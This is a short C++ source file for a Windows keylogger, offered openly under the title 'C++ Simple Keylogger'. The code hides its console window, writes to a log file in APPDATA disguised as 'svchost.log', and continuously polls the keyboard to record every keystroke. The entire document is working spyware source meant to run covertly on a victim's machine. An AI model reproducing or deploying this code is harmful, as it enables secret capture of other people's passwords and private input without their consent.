C++ Simple Keylogger

#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

void Stealth();
void writeToLog();

ofstream logFileWriter;

int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
    Stealth();
    string logFilePath = getenv("APPDATA");
    logFilePath.append("\\svchost.log");
    logFileWriter.open(logFilePath, ios::out | ios::app);

    while(true)
    {
        for(int i = 1; i < 126; i++)
            if(GetAsyncKeyState(i) & 0x0001)
            {
                logFileWriter << (char)i;
                logFileWriter.flush();
            }
    }
    logFileWriter.close();
    return 0;
}

void Stealth()
{
    FreeConsole();
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}